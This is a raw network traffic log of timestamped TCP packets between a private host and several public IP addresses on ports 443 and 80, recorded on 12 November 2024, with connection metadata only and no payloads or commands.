Nov 12, 2024 17:07:47.673501968 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.674216032 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.674227953 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.674257994 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.674298048 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.674324989 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.674361944 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.674369097 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.674403906 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.674444914 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.674503088 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.675159931 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.675200939 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.675966978 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.690076113 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.690109015 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.690160990 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.690232992 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.690294981 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.693089008 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.693113089 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.693125963 CET	49884	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.693133116 CET	443	49884	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.702361107 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.702394009 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.702857971 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.702857971 CET	49885	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.702879906 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.702889919 CET	443	49885	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.719525099 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.719676018 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.735305071 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.765475988 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.765551090 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.765804052 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.765927076 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.765954971 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.765984058 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.766024113 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.766335011 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.766355991 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.767376900 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.767433882 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.768503904 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.768564939 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.768771887 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.768778086 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.772986889 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.773000002 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.773049116 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.773318052 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.773335934 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.773350954 CET	49886	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.773358107 CET	443	49886	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.780924082 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.780946970 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.781248093 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.781260967 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.781276941 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.782605886 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.782618046 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.783061981 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.783072948 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.786612034 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.786667109 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.786725998 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.790788889 CET	49887	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.790806055 CET	443	49887	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.791795015 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.791820049 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.791831970 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.791850090 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.791857004 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.791865110 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.791898966 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.791932106 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.791949034 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.791980028 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.792804003 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.792826891 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.792871952 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.792881966 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.792938948 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.803333998 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.803392887 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.803649902 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.803828955 CET	49888	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.803843021 CET	443	49888	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.825438976 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.894726992 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:47.899792910 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:47.900585890 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.900669098 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.900731087 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.901201963 CET	49889	443	192.168.2.6	172.64.41.3
Nov 12, 2024 17:07:47.901212931 CET	443	49889	172.64.41.3	192.168.2.6
Nov 12, 2024 17:07:47.912472963 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.912497997 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.912554026 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.912565947 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.912607908 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.912623882 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.914083958 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.914097071 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.914138079 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.914143085 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.914153099 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.914191961 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.914200068 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:47.914201021 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:47.914238930 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.034454107 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.034476042 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.034533978 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.034543037 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.034583092 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.035554886 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.035567999 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.035625935 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.035628080 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.035643101 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.035667896 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.035667896 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.035739899 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.123569012 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.124098063 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.124116898 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.124607086 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.124613047 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.151281118 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.151304007 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.151346922 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.151359081 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.151376963 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.151397943 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.157509089 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.157520056 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.157546997 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.157573938 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.157586098 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.157598972 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.157654047 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.157658100 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.157675028 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.157701015 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.158437967 CET	49882	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.158443928 CET	443	49882	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.174690962 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174752951 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.174787998 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174801111 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174810886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174828053 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.174839973 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.174860954 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.174926043 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174938917 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174951077 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174963951 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174976110 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.174981117 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.175005913 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.175017118 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.175385952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.175498009 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.175585985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.175645113 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.175785065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.175833941 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.253844976 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.254348993 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.254426003 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.254487038 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.254504919 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.254547119 CET	49890	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.254554033 CET	443	49890	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.257172108 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.257206917 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.257400036 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.257582903 CET	49895	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.257596970 CET	443	49895	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.270394087 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.270415068 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.270473957 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.270499945 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.270524025 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.271012068 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.329026937 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329101086 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329128027 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329137087 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.329152107 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329157114 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.329180956 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.329190969 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.329340935 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329461098 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329480886 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329492092 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329538107 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.329572916 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.329931974 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329974890 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.329988003 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.330004930 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.330022097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.330033064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.330064058 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.330188990 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.330601931 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.330641985 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.330652952 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.330708027 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.390026093 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.390044928 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.390111923 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.390151978 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.390192986 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.438764095 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.439219952 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.439256907 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.439743996 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.439749956 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.448700905 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.448714972 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.448765993 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.448803902 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.448827028 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.448870897 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.448882103 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.448913097 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.448935032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.448998928 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449079037 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449089050 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449116945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.449137926 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.449428082 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449439049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449450016 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449472904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.449491978 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.449754000 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449827909 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.449923038 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.483422995 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.483445883 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.483499050 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.483531952 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.483602047 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.483612061 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.483675003 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.509023905 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.509042978 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.509084940 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.509124994 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.509143114 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.510860920 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.514745951 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.516200066 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.516212940 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.516648054 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.516653061 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.521393061 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.522018909 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.522033930 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.523570061 CET	49894	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.523578882 CET	443	49894	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.534280062 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.534826040 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.534859896 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.535222054 CET	49892	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.535233021 CET	443	49892	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.552728891 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.552750111 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.552803040 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.552839041 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.552856922 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.552889109 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.568119049 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568149090 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568172932 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.568193913 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.568414927 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568459034 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.568463087 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568514109 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568538904 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.568552017 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.568588018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568600893 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568612099 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.568628073 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.568650961 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.569103956 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.569148064 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.569184065 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.569243908 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.569252014 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.569329023 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.569339991 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.569376945 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.570607901 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.570660114 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.570729017 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.573818922 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.573837996 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.573875904 CET	49891	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.573882103 CET	443	49891	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.576611042 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.576649904 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.576719046 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.577029943 CET	49896	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.577047110 CET	443	49896	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.602768898 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.602787018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.602829933 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.602874041 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.603173018 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.603219032 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.603626013 CET	80	49859	185.215.113.206	192.168.2.6
Nov 12, 2024 17:07:48.603679895 CET	49859	80	192.168.2.6	185.215.113.206
Nov 12, 2024 17:07:48.629597902 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.629626036 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.629683971 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.629724979 CET	443	49880	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.629740953 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.629770041 CET	49880	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.645469904 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.645670891 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.645721912 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.648286104 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.648294926 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.648303032 CET	49893	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.648308992 CET	443	49893	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.654041052 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.654073954 CET	443	49897	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:48.654210091 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.654496908 CET	49897	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:48.654515028 CET	443	49897	13.107.246.45	192.168.2.6
